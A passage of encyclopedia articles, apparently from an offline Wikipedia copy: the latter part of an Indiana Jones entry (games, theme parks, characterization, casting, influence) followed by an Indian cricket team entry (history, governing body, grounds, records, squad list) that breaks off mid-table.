          Following this, the games branched off into original storylines with Indiana Jones and the Fate of Atlantis, Indiana Jones and the Infernal Machine, and Indiana Jones and the Emperor's Tomb, which sets up Jones's companion Wu Han and the search for Nurhaci's ashes seen at the beginning of Temple of Doom. The first two games were developed by Hal Barwood and starred Doug Lee as the voice of Indiana Jones, while Emperor's Tomb had David Esch fill the role. There is also a small game from Lucas Arts Indiana Jones and His Desktop Adventures. A video game was made for young Indy called Young Indiana Jones and the Instruments of Chaos, as well as a video game version of The Young Indiana Jones Chronicles.


          A new Indiana Jones video game is in development by LucasArts.


          Another game, Lego Indiana Jones: The Original Adventures was released on June 3, 2008 in the US.


          


          Theme parks


          The Indiana Jones Adventure attractions at Disneyland and Tokyo DisneySea ("Temple of the Forbidden Eye" and "Temple of the Crystal Skull", respectively) place Indy at the forefront of two similar archaeological discoveries. These two temples each contain a wrathful deity who threatens the guests who ride through in World War II troop transports. They opened in 1995 and 2001, respectively, and each was an expensive project by Walt Disney Imagineering. Disney ended up not gaining rights to Harrison Ford's likeness, but the Indiana Jones character does appear in audio-animatronic form at three points in both attractions.


          Disneyland Resort Paris also features an Indiana Jones ride where people speed off through ancient ruins in a runaway wagon similar to that found in Indiana Jones and the Temple of Doom. This roller-coaster is known as Indiana Jones and the Temple of Peril.


          The Indiana Jones Epic Stunt Spectacular! is an amusement show in Disney's Hollywood Studios in Walt Disney World Resort. The show has various different stunts, and recruits members of the audience to partake in the show. The show is 25 minutes long. In the show, the stunt artists reveal some of the secrets of the stunts behind Raiders of the Lost Ark, including the well-known running-from-the-boulder scene from early in the film.


          


          Characterization


          In his guise as a college professor, Henry Jones Junior is an average Joe, who can also rise to the occasion in the guise of "Indiana", a superhero image he has concocted for himself. Producer Frank Marshall said, "Indy [is] a fallible character. He makes mistakes and gets hurt. [...] That's the other thing people like: He's a real character, not a character with superpowers." Spielberg said there "was the willingness to allow our leading man to get hurt and to express his pain and to get his mad out and to take pratfalls and sometimes be the butt of his own jokes. I mean, Indiana Jones is not a perfect hero, and his imperfections, I think, make the audience feel that, with a little more exercise and a little more courage, they could be just like him." According to Spielberg biographer Douglas Brode, Indiana is a childish man who created his heroic figure so to escape the dullness of teaching at a school. Both of Indiana's personas reject one another in philosophy, creating a duality. Harrison Ford said the fun of playing the character was because Indiana is both a romantic and a cynic, while scholars have analyzed Indiana as having traits of a lone wolf; a man on a quest; a noble treasure hunter; a hardboiled detective; a human superhero; and an American patriot.


          Like many characters in his films, Jones has some autobiographical elements of Spielberg. Indiana lacks a proper father figure because of his strained relationship with his father, Henry Senior. His own contained anger is misdirected at the likes of Professor Abner Ravenwood, his mentor at the University of Chicago, leading to a strained relationship with Marion Ravenwood. The teenage Indiana bases his own look on a figure from the prologue of Indiana Jones and the Last Crusade, after being given his hat. Marcus Brody acts as Indiana's positive role model at the college. Indiana's own insecurities are made worse by the absence of his mother. In Indiana Jones and the Temple of Doom, the character becomes the father in a temporary family unit with Willie Scott and Short Round to survive. Indiana is rescued from the evil of Kali by Short Round's dedication. Indiana also saves many children from slavery.


          Because of Indiana's strained relationship with his father, a Christian searching for the Holy Grail, the character rejects the spiritual side of the profession he has followed in. The inconsistency of the three films is that after appearing to become a believer in Judaism (in Raiders), Hinduism (in Doom) and Christianity (Crusade), Indiana reverts back in the next film. Temple of Doom, chronologically the earliest of the films, has Indiana as a mercenary, searching for "fortune and glory". Indiana uses his knowledge of Shiva to ultimately defeat Mola Ram. In Raiders, the cynical Indiana chooses to close his eyes in the presence of the spirits who have been disturbed from their slumber in the Ark of the Covenant. By contrast, his rival Rene Belloq is killed for trying to communicate directly with God.


          In Crusade's prologue, Indiana's intentions are revealed as social, as he believes artifacts "belong in a museum". In the film's climax, Indiana undergoes "literal" tests of faith to retrieve the Grail and save his father's life. He also recognizes Jesus as a humble carpenter when he recognizes the simple nature and tarnished appearance of the real Grail amongst a large assortment of much more ornately decorated ones. Henry Senior rescues his son from falling to his death when reaching for the fallen Grail, telling him to "let it go", overcoming his mercenary nature. The Young Indiana Jones Chronicles explains how Indiana becomes solitary and less idealistic after fighting in World War I. In Indiana Jones and the Kingdom of the Crystal Skull, Jones is older and wiser, whereas his sidekicks Mutt and Mac are youthfully arrogant and greedy, respectively.


          


          Concept and creation


          Indiana Jones is modeled after the strong-jawed heroes of the matine serials and pulp magazines that George Lucas and Steven Spielberg enjoyed in their childhoods (such as the Republic Pictures serials, and the Doc Savage series). The two friends first discussed the project in Hawaii around the time of the release of the first Star Wars film. Spielberg told Lucas how he wanted his next project to be something fun, like perhaps a James Bond film. According to sources, Lucas responded to the effect that he had something "even better", or that he "got that beat".


          The character was originally named Indiana Smith, after an Alaskan Malamute Lucas owned in the 1970s ("Indiana"); however, Spielberg disliked the name "Smith", and Lucas casually suggested "Jones" as an alternative.


          


          Wardrobe and equipment


          


          Indiana Jones was designed by comic book artist Jim Steranko. George Lucas suggested the flight jacket (which reminded Steranko of Lucas), the fedora (which reminded him of Humphrey Bogart in The Treasure of the Sierra Madre) and a whip (reminiscent of Zorro). Steranko added the Sam Browne belt, a belt with a holster, and the khaki shirt and trousers. Costume designer Deborah Nadoolman Landis said the inspiration for Indiana's outfit was Charlton Heston's Harry Steele in Secret of the Incas: "We did watch this film together as a crew several times, and I always thought it strange that the filmmakers did not credit it later as the inspiration for the series."


          Upon requests by Spielberg and Lucas, the costume designer gave the character a distinctive silhouette through the styling of the hat; after examining many hats, the designers chose a tall-crowned, wide-brimmed fedora. As a documentary of Raiders pointed out, the hat served a practical purpose. Following the lead of the old "B"-movies that inspired the Indiana Jones series, the fedora hid the actor's face sufficiently to allow doubles to perform the more dangerous stunts seamlessly. Examples in Raiders include the wider-angle shot of Indy and Marion crashing a statue through a wall, and Indy sliding under a fast-moving vehicle from front to back. Thus it was necessary for the hat to stay in place much of the time.


          The hat became so iconic that the filmmakers could only come up with very good reasons or jokes to remove it. If it ever fell off during a take, filming would have to stop to put it back on. In jest, Ford put a stapler against his head when a documentary crew visited during shooting of Indiana Jones and the Last Crusade. This created the urban legend that Ford stapled the hat to his head. Although other hats were also used throughout the movies, the general style and profile remained the same. Elements of the outfit include:


          
            	The fedora - made by Herbert Johnson Hatters in England for the first three films. Indy's fedoras for "Crystal Skull" were made by Steve Delk and Marc Kitter of AdventureBilt Hat Company. Baron hats created the 50's style biker cap worn by Shia Lebeouf as Mutt Williams in Indy 4.


            	The leather jacket - a hybrid of the "Type 440" and the A-2 jacket, were made by Wested Leather for Raiders of the Lost Ark and Indiana Jones and the Last Crusade. For Indiana Jones and the Temple of Doom, jackets were made by Cooper, while Tony Nowak made the jacket in Indiana Jones and the Kingdom of the Crystal Skull.


            	The bag - a modified Mark VII British gas mask bag


            	The whip - a 10-foot bullwhip crafted by David Morgan (although different lengths were used in specific stunts)


            	The pistol - usually a World War I-era revolver, examples include the Webley Green (Last Crusade and Crystal Skull), or a .45 ACP Smith & Wesson Hand Ejector 2nd model revolver (Raiders). He has also been seen using an M1917 revolver, and a 9mm Browning Hi-Power.


            	The shoes - "Indy Boots" made by Alden Shoes, which are still sold today (though in a lighter shade of brown than seen in the movies)

          


          Jones's fedora and leather jacket (as used in Indiana Jones and the Last Crusade) are on display at the Smithsonian's American History Museum in Washington, D.C. The collection of props and clothing from the films has become a thriving hobby for some aficionados of the franchise. Jones's whip was the third most popular film weapon, as shown by a 2008 poll held by 20th Century Fox, which surveyed approximately two thousand film fans.


          


          Casting


          Originally, Spielberg suggested Harrison Ford; Lucas resisted the idea, since he had already cast the actor in three of his movies ( American Graffiti, Star Wars, and its sequels), and did not want Ford to become known as his "Bobby De Niro" (in reference to the fact that fellow director Martin Scorsese regularly cast Robert De Niro in his films). During an intensive casting process, Lucas and Spielberg auditioned many actors, and finally cast then little-known actor Tom Selleck as Indiana Jones. Shortly afterward pre-production began in earnest on Raiders of the Lost Ark.


          However, CBS refused to release Selleck from his contractual commitment to Magnum, P.I. (which was gradually gaining momentum in the ratings), forcing him to turn down the role. After Spielberg suggested Ford again, Lucas finally gave in, and he was cast in the role  less than 3 weeks before principal photography began.


          


          Models


          Many people are said to be the real-life inspiration of the Indiana Jones character  although none of the following have been confirmed as inspirations by Lucas or Spielberg. In alphabetical order by last name:


          
            	Paleontologist Roy Chapman Andrews.


            	Italian archaeologist and circus strongman Giovanni Battista Belzoni (17781823).


            	Yale University professor, historian, and explorer Hiram Bingham III, who rediscovered and excavated the lost city of Machu Picchu, and chronicled his find in the bestselling book The Lost City of the Incas in 1948.


            	The University of Chicago archaeologist Robert Braidwood.


            	Fellow University of Chicago archaeologist James Henry Breasted


            	Frederick Albert Mitchell-Hedges.'


            	German archaeologist Otto Rahn

          


          George Lucas has said on various occasions that Sean Connery's portrayal of British secret agent James Bond was one of the primary inspirations for Jones, a reason Connery was chosen for the role of Indiana's father in the third film, Indiana Jones and the Last Crusade.


          


          Influence


          Though some archaeologists criticize Jones's methods as befitting a "looter" more than a careful worker of precious sites, many have adopted the popular figure as something of a standard-bearer for their profession. The industry magazine Archaeology, believing that Jones, as one editor said, was "a horrible archaeologist but a great diplomat for archeology," named eight past and current archaeologists who they felt "embodied [Jones'] spirit" as recipients of the "Indy Spirit Awards" in 2008. That same year Ford himself was elected to the Board of Directors of the Archaeological Institute of America. Commenting that "understanding the past can only help us in dealing with the present and the future", Ford was praised by the association's president for his character's "significant role in stimulating the public's interest in archaeological exploration."


          Whilst himself an homage to various prior adventurers, aspects of Indiana Jones also directly influenced some subsequent characterizations:


          
            	Lara Croft, the self-styled archaeologist of the Tomb Raider franchise, was originally designed as a man, but was changed to a woman, partly because the developers felt that the original design was too similar to Indiana Jones.


            	Malcolm Reynolds, spaceship captain in television series Firefly and its feature film continuation Serenity ( Nathan Fillion reflects many of Harrison Ford's mannerisms).

          


          
            Retrieved from " http://en.wikipedia.org/wiki/Indiana_Jones"
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          The Indian cricket team is an international cricket team representing India. It is governed by the Board of Control for Cricket in India, the cricket governing body in India. The Indian Cricket Team is currently the highest paid national sports team in the world (in terms of sponsorship).


          Though the first match in India was recorded in 1721, when a group of sailors gathered to play in Western India, India's national cricket team didn't play their first Test match until 25 June 1932 at Lord's. They became the sixth team to play Test cricket. Traditionally much stronger at home than abroad, India proved weaker than Australia and England, winning only 35 of the 196 matches they played in their first fifty years. The team gained strength near the end of the 50-year period with the emergence of players such as Sunil Gavaskar and Kapil Dev and the Indian spin quartet. The Indian team has continued to be highly ranked since then in Test cricket and One Day Internationals. The team won the Cricket World Cup in 1983 and was runners-up in 2003. It also won the first World Twenty20 in 2007. The current team contains many of the world's leading players, including Sachin Tendulkar, Rahul Dravid, Sourav Ganguly and Anil Kumble, who hold numerous cricketing world records.


          As of January 2008, the Indian team has played 414 Test matches, winning 22.46%, losing 32.13% and drawing 45.41% of its games. The team is ranked second in the ICC Test Championship rankings and fourth in the ICC ODI Championship rankings


          


          History
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          The British brought cricket to India in the early 1700s, with the first cricket match being played in 1721. In 1848, the Parsi community in Mumbai formed the Oriental Cricket Club, the first cricket club to be established by Indians. After slow beginnings, the Europeans eventually invited the Parsis to play a match in 1877. By 1912, the Parsis, Hindus, and Muslims of Bombay played a quadrangular tournament with the Europeans every year. In the early 1900s, some Indians went on to play for the English cricket team. Some of these, such as Ranjitsinhji and KS Duleepsinhji were greatly appreciated by the British and their names went on to be used for the Ranji Trophy and Duleep Trophy-two of the major domestic tournaments in India. In 1911, an Indian team went on their first official tour of England, but only played English county teams and not the English cricket team. India was invited into The Imperial Cricket Council in 1926 and made its debut as a Test-cricket-playing-nation in 1932 led by CK Nayudu. The match was given Test status despite being only 3 days in length. The team was not strong in its batting at this point and went on to lose by 158 runs. The Indian team continued to improve throughout the 1930s and '40s but did not achieve an international victory during this period. The team's first series as an independent country was in 1948 against Sir Donald Bradman's Invincibles (a name given to the Australian cricket team of that time). Australia won the five-match series, 4-0.


          India recorded their first Test victory against England at Madras in 1952. Later in the year, they won their first Test series, which was against Pakistan. They continued their improvement throughout the early 1950s with a series win against New Zealand in 1956. However, they did not win again in the remainder of the decade and lost badly to strong Australian and English sides. The next decade developed India's reputation as a team considered to be strong at home. Although they only won two series (both against New Zealand), they managed to draw home series against Pakistan, England and Australia.


          The key to India's bowling in the 1970s were the Indian spin quartet - Bishen Bedi, E.A.S. Prasanna, Bhagwat Chandrasekhar and Srinivas Venkataraghavan. This period also saw the emergence of two of India's best ever batsmen, Sunil Gavaskar and Gundappa Viswanath. Indian pitches have had tendency to support spin and the spin quartet exploited this to create collapses in opposing batting lineups. These players were responsible for the back-to-back series wins in 1971 in the West Indies and in England, under the captaincy of Ajit Wadekar. Gavaskar scored 774 runs in the West Indian series while Dilip Sardesai's 112 played a big part in their one Test win.


          The advent of One-Day International cricket in 1971 created a new dimension in the cricket world. However, India was not considerably strong in ODIs at this point and batsmen such as the captain Gavaskar were known for their defence-based approaches to batting. India began as a weak team in ODIs and did not manage to qualify for the second round in the first two editions of the Cricket World Cup. Gavaskar famously blocked his way to 36 not out off 174 balls against England in the first World Cup in 1975, India scored just 132 for 3 and lost by 202 runs.


          In contrast, India fielded a strong team in Test matches and were particularly strong at home where their combination of stylish batsman and beguiling spinners where seen at their best. India set a then test record in the third Test against the West Indies at Port-of-Spain in 1976 when they chased 403 to win thanks to 112 from Vishwanath. This West Indian defeat is considered to be a watershed in the history of their cricket because it led to captain Clive Lloyd dispensing with spin altogether and relying entirely on a four man pace attack. In November 1976 the team established another record by scoring 524 for 9 declared against New Zealand at Kanpur without an individual scoring a century. There were six fifties, the highest being 70 by Mohinder Amarnath. The innings was the eighth instance in Test cricket where all eleven batsmen reached double figures.


          During the 1980s, India developed a more attack minded batting line-up with stroke makers such as the wristy Mohammed Azharuddin, Dilip Vengsarkar and all-rounder Ravi Shastri prominent during this time. India won the Cricket World Cup in 1983, defeating the then favourites West Indies in the final, owing to a strong bowling performance. In spite of this the team performed poorly in the Test arena, including 28 consecutive Test matches without a victory. In 1984, India won the Asia Cup and in 1985, won the World Championship of Cricket in Australia. Apart from this, India remained a very weak team outside the Indian subcontinent. India's Test series victory in 1986 against England remained the last Test series win by India outside the subcontinent for the next 19 years. The 1987 Cricket World Cup was held in India. The 1980s saw Gavaskar and Kapil Dev (India's best all rounder to this date) at the pinnacle of their careers. Gavaskar made a Test record 34 centuries as he became the first man to reach the 10,000 run mark. Kapil Dev later became the highest wicket taker in Test cricket with 434 wickets. The period was also marked by an unstable leadership, with Gavaskar and Kapil exchanging the captaincy several times.


          
            [image: A graph showing India's Test match results against all Test match teams from 1932 to September 2006]

            
              A graph showing India's Test match results against all Test match teams from 1932 to September 2006
            

          


          The addition of Sachin Tendulkar and Anil Kumble to the national side in 1989 and 1990 further improved the team. The following year, Javagal Srinath, India's fastest bowler since Amar Singh made his debut. Despite this, during the 1990s, India did not win any of its 33 Tests outside the subcontinent while it won 17 out of its 30 Tests at home. After being eliminated by neighbours Sri Lanka on home soil at the 1996 Cricket World Cup, the team underwent a year of change as Rahul Dravid, Saurav Ganguly, later to be become captains of the team, made their debut in the same Test at Lord's. Tendulkar replaced Azharuddin as captain in late 1996, but after a personal and team form slump, Tendulkar relinquished the captaincy and Azharuddin was reinstalled at the beginning of 1998. With the captaincy burden removed, Tendulkar was the world's leading run-scorer in both Tests and ODIs, as India enjoyed a home Test series win over Australia, the best ranked team in the world. After failing to reach the semifinals at the 1999 Cricket World Cup, Tendulkar was again made captain, and had another poor run, losing 3-0 on a tour of Australia and then 2-0 at home to South Africa. Tendulkar resigned, vowing never to captain the team again, with Sourav Ganguly appointed the new captain. The team was further damaged in 2000 when former captain Azharuddin and fellow batsman Ajay Jadeja were implicated in a match-fixing scandal and given life bans.
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          Since 2000, the Indian team underwent major improvements with the appointment of John Wright as India's first ever foreign coach. India maintained their unbeaten home record against Australia in Test series after defeating them in 2001. The series was famous for the Kolkata Test match, in which India became only the third team in the history of Test cricket to win a Test match after following on. Australian captain Steve Waugh labelled India as the "Final Frontier" as a result of his side's inability to win a Test series in India. Victory in 2001 against the Australians marked the beginning of a dream run for India under their captain Sourav Ganguly, winning Test matches in Zimbabwe, Sri Lanka, West Indies and England. The England series is also known for India's highest ODI run-chase of 325 runs at Lord's which came in the Natwest ODI Series final against England. In the same year, India were joint winners of the ICC Champions Trophy with Sri Lanka, and then went to the 2003 Cricket World Cup in South Africa where they reached the final only to be beaten by Australia. The 2003-2004 season also saw India play out a Test series in Australia where they drew 1-1 with world champions, and then win a Test and ODI series in Pakistan.


          At the end of the 2004 season, India suffered from lack of form and fitness from its older players. A defeat in a following home Test series against Australia was followed by an ODI home series defeat against Pakistan followed by a Test series levelled 1-1. Greg Chappell took over from John Wright as the new coach of the Indian cricket team following the series, and his methods proved to be controversial during the beginning of his tenure. The tension resulted in a fallout between Chappell and Ganguly, resulting in Rahul Dravid being made captain. This triggered a revival in the team's fortunes, following the emergence of players like Mahendra Singh Dhoni, Suresh Raina, and the coming of age of players like Irfan Pathan and Yuvraj Singh. A thumping home series victory over Sri Lanka in 2005 and a level series with South Africa put India at 2nd place in the ICC ODI rankings. This was followed by a convincing ODI series win in Pakistan in early 2006 following a loss in the Test series, which gave India the world record of 17 successive ODI victories while batting second. Towards the middle of 2006 however, a 4-1 series loss in the West Indies gave rise to a slump in India's ODI form, while they achieved a 1-0 victory in the Test series that followed, giving them their first Test series victory in the Caribbean since 1971. India's ODI form, however, slumped further with a disappointing performance in the 2006 Champions Trophy and a drubbing in the ODI series in South Africa. This was followed yet again by an initial good performance in the Tests, giving India its first Test match win in South Africa, although they went on to lose the series 2-1. This Test series was marked by Ganguly's comeback to the Indian team.


          The beginning of 2007 had seen a revival in the Indian team's ODI fortunes before the 2007 Cricket World Cup. Series victories against the West Indies and Sri Lanka, marked by the comeback of Ganguly, and strong form by Tendulkar, and the emergence of young attacking players like Robin Uthappa saw many pundits to tip India as a real chance to do well at the 2007 Cricket World Cup. However, defeats to Bangladesh and Sri Lanka saw India fail to reach the final eight.
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          India's traditional strengths have always been its line-up of spin bowlers and batsmen. Recently, it has a very strong batting lineup with Rahul Dravid, Sachin Tendulkar and Virender Sehwag all being selected to play for the ICC World XI in the 2005 " SuperTest" against Australia. In previous times, India was unique in that it was the only country to regularly field three spinners in one team, whereas one is the norm, and of the fifteen players to have taken more than 100 wickets, only four were pace bowlers from the last 20 years. However in recent years, Indian pace bowling has improved, with the emerging talents of Irfan Pathan, Munaf Patel and Sreesanth and many more playing in the national team.


          In December 2006, it played and won its first ever Twenty20 international in South Africa, becoming the most recent Test team to play Twenty20 cricket. After winning the Test series against England in August 2007, Rahul Dravid stepped down as the captain of the team following which Mahendra Singh Dhoni was made the captain of the Twenty20 and ODI team. In September 2007, it won the first ever World Twenty20 held in South Africa, beating Pakistan by 5 runs in a thrilling final. India now is the most successful 20-20 team, measured by the winning percentage.


          


          Governing body


          The Board of Control for Cricket in India (BCCI) is the governing body over the Indian cricket team. The Board has been operating since 1929 and represents India with the International Cricket Council. It is amongst the richest sporting organizations in the world, it sold media rights to for India's matches in the next 4 years for 612 million US dollars. It negotiates India's sponsorships, its future tours and the selection of its players.


          The International Cricket Council determines India's upcoming matches through its future tours program. However, the BCCI, with its influential financial position in the cricketing world, has often challenged the ICC's program and called for more tours between India, Australia, Pakistan and England which are more likely to earn more revenue as opposed to tours with Bangladesh or Zimbabwe. In the past, the BCCI has also come into conflict with the ICC in relation to sponsorships and the legitimacy of the ICC Champions Trophy.


          


          Selection Committee


          Selection for the Indian cricket team occurs through the BCCI's zonal selection policy, where each of the five zones is represented with one selector and one of the members nominated by BCCI as the Chairman of the Selection Committee. This has sometimes led to controversy as to whether these selectors are biased towards their zones.


          The current chairman of Selection Committee is Dilip Vengsarkar. Bhupinder Singh Sr., Sanjay Jagdale, Ranjib Biswal and Venkatapathy Raju are the other members of the selection committee whose terms started in October 2006 and end in September 2008 with BCCI holding the rights for a one-year extension.


          


          Tournament History


          
            
              	ODI World Cup

              	Twenty20 World Cup

              	ICC Champions Trophy

              	Commonwealth Games

              	Asia Cup
            


            
              	
                
                  	1975: Round 1


                  	1979: Round 1


                  	1983: Champions


                  	1987: Semi Finals


                  	1992: Round 1


                  	1996: Semi Finals


                  	1999: Super 6 (6th Place)


                  	2003: Runners Up


                  	2007: Round 1

                

              

              	
                
                  	2007: Champions

                

              

              	
                
                  	1998: Semi Finals


                  	2000: Runners Up


                  	2002: Joint Winner with Sri Lanka


                  	2004: Round 1


                  	2006: Group stage

                

              

              	
                
                  	1998: Round 1

                

              

              	
                
                  	1984: Champions


                  	1986: Boycott


                  	1988: Champions


                  	1990/1991: Champions


                  	1995: Champions


                  	1997: Runners Up


                  	2000: 3rd Place


                  	2004: Runners Up

                

              
            

          


          


          Team colours


          When playing one-day cricket, the Indian cricket team has in recent years worn a sky blue shirt and pants. At present, the shirt also contains a diagonal tricolour design which reflects the Flag of India and the name of their main sponsor, Sahara. The one-day cap is also sky blue with the BCCI logo on the front, with a similar tricolour design on the brim of the cap.


          With the advent of the World Series Cup in the 1970s, each team was to don a primary and secondary colour on their uniforms. The Indian team elected to wear light-blue as their primary colour and yellow as their secondary colour. Even during the 1999 Cricket World Cup the secondary colour on the Indian cricket team's clothing has been yellow. However, this has since been removed and replaced with the tricolour. However, in the past the Indian ODI outfits were changed to different shades of blue, mostly darker than the current, and the team donned dark blue during 1992, the current sky blue colour is more similar to that worn in the World Series Cup.


          When playing first-class cricket, in addition to their cricket whites, Indian fielders sometimes wear a sunhat, which is dark blue and has a wide brim, with the BCCI logo in the middle of the front of the hat. Helmets are coloured similarly. Some players sport the Indian flag on their helmet. The current kit sponsor for the Indian team is Nike, Inc..


          


          Test cricket grounds
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                  Barabati
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                  Wankhede
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                  Brabourne/ Gymkhana
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                  Eden Gardens
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                  Feroz Shah Kotla
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                  Gandhi
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                  Green Park
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                  KDSB/ University
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                  LB Shastri
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                  M Chinnaswamy
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                  MAC
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                  Nehru
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                  PCA
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                  Sardar Patel
                

              


              
                [image: ]


                
                  Sawai Mansingh
                

              


              
                [image: ]


                
                  Sector 16
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                  Vidarbha CA
                

              

            


            
              Locations of all stadiums which have hosted a Test match within India
            

          


          There are a number of world-renowned cricket stadiums located in India. Most grounds are under the administration of various State Cricket Boards as opposed to being under the control of the BCCI. The Bombay Gymkhana was the first ground in India to host a full-scale cricket match featuring an Indian cricket team. This was between the Parsis and the Europeans in 1877. Suitably therefore, the first stadium to host a Test match in India was the Gymkhana Ground in Mumbai in 1933, the only Test it ever hosted. The second and third Tests in the 1933 series were hosted at Eden Gardens and Chepauk. The Feroz Shah Kotla in Delhi was the first stadium to host a Test match after independence, being a draw against the West Indies in 1948, the first of a 5-Test series. Nineteen stadiums in India have hosted official Test matches. In recent times the building of world-class cricket grounds has increased in India, with multiple Test grounds occurring in the cities of Lucknow, Chandigarh, Chennai and Mumbai.


          Eden Gardens in Kolkata has hosted the most Tests (34), and also has the largest capacity of any cricket stadium in the world, being capable of holding more than 100,000 spectators. Founded in 1864, it is one of the most historical stadiums in India, having hosted numerous controversial and historical matches. Other major stadiums in India include the Feroz Shah Kotla, which was established in 1883 and hosted memorable matches including Anil Kumble's ten wickets in an innings haul against Pakistan. For the last two years, the ground has been undergoing renovation.


          The Wankhede Stadium is one of the newest world-class Indian cricket stadiums. Established in 1974 with a capacity of near 50,000. It has hosted 21 Test matches in its relatively short 32-year history. It was the unofficial successor of the Brabourne Stadium, which is also located in Mumbai. Mumbai is often considered the cricketing capital of India because of its fans and the talent it produces (see Mumbai cricket team) and thus the stadium regularly hosts major Test matches. The M. A. Chidambaram Stadium in Chepauk is also considered to be an important historical Indian cricket ground, established in the early 1900s it was the site of India's first Test victory.


          The remainder of the Test stadiums are considered lesser compared to these major stadiums. The Gymkhana and Brabourne Stadiums are not used any more and have been replaced by the Wankhede. Similarly, the Barabati Stadium, Gandhi Stadium, K. D. Singh Babu Stadium, Lal Bahadur Shastri Stadium, Nehru Stadium, Sector 16 Stadium and University Ground have not hosted a Test match in the last 10 years.


          
            
              	Stadium

              	City

              	Test matches
            


            
              	Eden Gardens

              	Kolkata

              	35
            


            
              	Feroz Shah Kotla

              	Delhi

              	29
            


            
              	M. A. Chidambaram Stadium

              	Chepauk, Chennai

              	28
            


            
              	Wankhede Stadium

              	Mumbai

              	21
            


            
              	Green Park (now Modi Stadium)

              	Kanpur

              	19
            


            
              	Brabourne Stadium

              	Mumbai

              	17
            


            
              	M. Chinnaswamy Stadium

              	Bangalore

              	17
            


            
              	Nehru Stadium

              	Chennai

              	9
            


            
              	Vidarbha C.A. Ground

              	Nagpur

              	9
            


            
              	Sardar Patel Stadium (Gujarat)

              	Naranpura, Ahmedabad

              	8
            


            
              	Punjab Cricket Association Stadium

              	Mohali, Punjab

              	7
            


            
              	Lal Bahadur Shastri Stadium

              	Hyderabad

              	3
            


            
              	Barabati Stadium

              	Cuttack

              	2
            


            
              	Bombay Gymkhana

              	Mumbai

              	1
            


            
              	Gandhi Stadium

              	Jalandhar

              	1
            


            
              	K. D. Singh Babu Stadium

              	Lucknow

              	1
            


            
              	Sawai Mansingh Stadium

              	Jaipur

              	1
            


            
              	Sector 16 Stadium

              	Chandigarh

              	1
            


            
              	University Ground

              	Lucknow

              	1
            

          


          


          Indian women's cricket team


          The Indian women's cricket team has a much lower profile than the men's team. For all national women's cricket teams, the female players are paid much less their male counterparts, and the women's teams do not receive as much popular support or recognition as the men's team. The women's teams also have a less packed schedule compared to men's teams and play fewer matches. The Indian women's cricket team played its first Test match in 1976/7, when they drew with the West Indies in a six-match series.


          The Women's Cricket World Cup was held in India in 1978 and featured 4 teams. Despite this, India failed to win either of their two matches. Their next appearance in the Test and ODI circuit was against Australia in 1984, in which the Test series was tied but the ODI series was lost in a humiliating whitewash.


          The Indian women's cricket team has since picked up some form, reaching the finals in the last World Cup, but then losing to Australia. The Women's Asia Cup of 2005-06 was won by India, who beat Sri Lanka in the final. They also beat the West Indies in the 2004-05 season, winning the 5 ODI series 5-0. This year the Indian women's team lost to English women's team 4-0 in an ODI Series but beat them in the Twenty20 International and 1-0 in the Test series.


          


          National records


          
            [image: Sachin Tendulkar, India's most capped player and leading run-scorer and century maker in both Tests and ODIs.]

            
              Sachin Tendulkar, India's most capped player and leading run-scorer and century maker in both Tests and ODIs.
            

          


          Sachin Tendulkar is easily the batsman with the most national achievements. He holds the record of most appearances in both Tests and ODIs, most runs in both Tests and ODIs and most centuries in Tests and ODIs. The highest score by an Indian is the 309 scored by Virender Sehwag in Multan. It is the only triple century in Test cricket by an Indian. The team's highest ever score was a 705/7 against Australia in Sydney, 2004, while its lowest was 42 against England in 1974. In ODIs, the team's highest is 413/5 against Bermuda in the 2007 Cricket World Cup. In the same match, India set a world record of the highest winning margin of 257 runs in an ODI match.


          India also has very strong bowling figures, with spin bowler Anil Kumble being a member of the elite group of 5 bowlers who have taken 500 wickets. In 1999, Anil Kumble emulated Jim Laker to become the second bowler to take all ten wickets in a Test match innings when he took 10 wickets for 74 runs against Pakistan at the Feroz Shah Kotla in Delhi. India's strength has traditionally been with its spin bowlers, which explains the records achieved by Anil Kumble and Bishen Singh Bedi.


          Many of the Indian cricket team's records are also world records, for example Sachin Tendulkar's century tally (in Tests and ODIs) and run tally (in ODIs). Mahendra Singh Dhoni's 183 not out against Sri Lanka in 2005 is the world record score by a wicketkeeper in ODIs. Pankaj Roy and Vinoo Mankad's first wicket partnership of 413 is a world record for the first wicket, although it was close to being broken by Virender Sehwag and Rahul Dravid in 2006. The Indian cricket team also holds the record of 17 successful run-chases in ODIs, which ended in a dramatic match against the West Indies in May 2006, which India lost by just 1 run.


          


          Current squad


          
            
              	Name

              	Batting Style

              	Bowling Style

              	Domestic team

              	Zone

              	Contract grade

              	Shirt Numbers
            


            
              	Twenty20 and ODI Captain and Wicket Keeper
            


            
              	Mahendra Singh Dhoni

              	Right Hand Bat

              	-

              	Jharkhand

              	East

              	A

              	7
            


            
              	Test Captain and Spin Bowler
            


            
              	Anil Kumble

              	Right Hand Bat

              	Leg Break, Leg Break Googly

              	Karnataka

              	South

              	A

              	Test Only
            


            
              	Wicket-keepers
            


            
              	Dinesh Karthik

              	Right Hand Bat

              	-

              	Tamil Nadu

              	South

              	B

              	1
            


            
              	Opening batsmen
            


            
              	Sachin Tendulkar

              	Right Hand Bat

              	Leg Break, Leg Break Googly, Off Break

              	Mumbai

              	West

              	A

              	10
            


            
              	Sourav Ganguly

              	Left Hand Bat

              	Right Medium

              	Bengal

              	East

              	A

              	21
            


            
              	Virender Sehwag

              	Right Hand Bat

              	Off Break

              	Delhi

              	North

              	B

              	2
            


            
              	Wasim Jaffer

              	Right Hand Bat

              	Off Break

              	Mumbai

              	West

              	B

              	14
            


            
              	Gautam Gambhir

              	Left Hand Bat

              	Leg Break

              	Delhi

              	North

              	B

              	5
            


            
              	Robin Uthappa

              	Right Hand Bat

              	Right Medium

              	Karnataka

              	South

              	C

              	77
            


            
              	Specialist middle-order batsmen
            


            
              	Rahul Dravid

              	Right Hand Bat

              	Off Break

              	Karnataka

              	South

              	A

              	19
            


            
              	V. V. S. Laxman

              	Right Hand Bat

              	Off Break

              	Hyderabad

              	South

              	B

              	22
            


            
              	Suresh Raina

              	Left Hand Bat

              	Off Break

              	Uttar Pradesh

              	Central

              	C

              	-
            


            
              	Yuvraj Singh

              	Left Hand Bat

              	Slow Left Arm

              	Punjab

              	North

              	A

              	12
            


            
              	Rohit Sharma

              	Right Hand Bat

              	Off Break

              	Mumbai

              	West

              	D

              	45
            


            
              	Manoj Tiwary

              	Right Hand Bat

              	Off Break

              	Bengal

              	East

              	D

              	-
            


            
              	All-rounders
            


            
              	Irfan Pathan

              	Left Hand Bat

              	Left Medium Fast

              	Baroda

              	West

              	C

              	63
            


            
              	Yusuf Pathan

              	Right Hand Bat

              	Off Break

              	Baroda

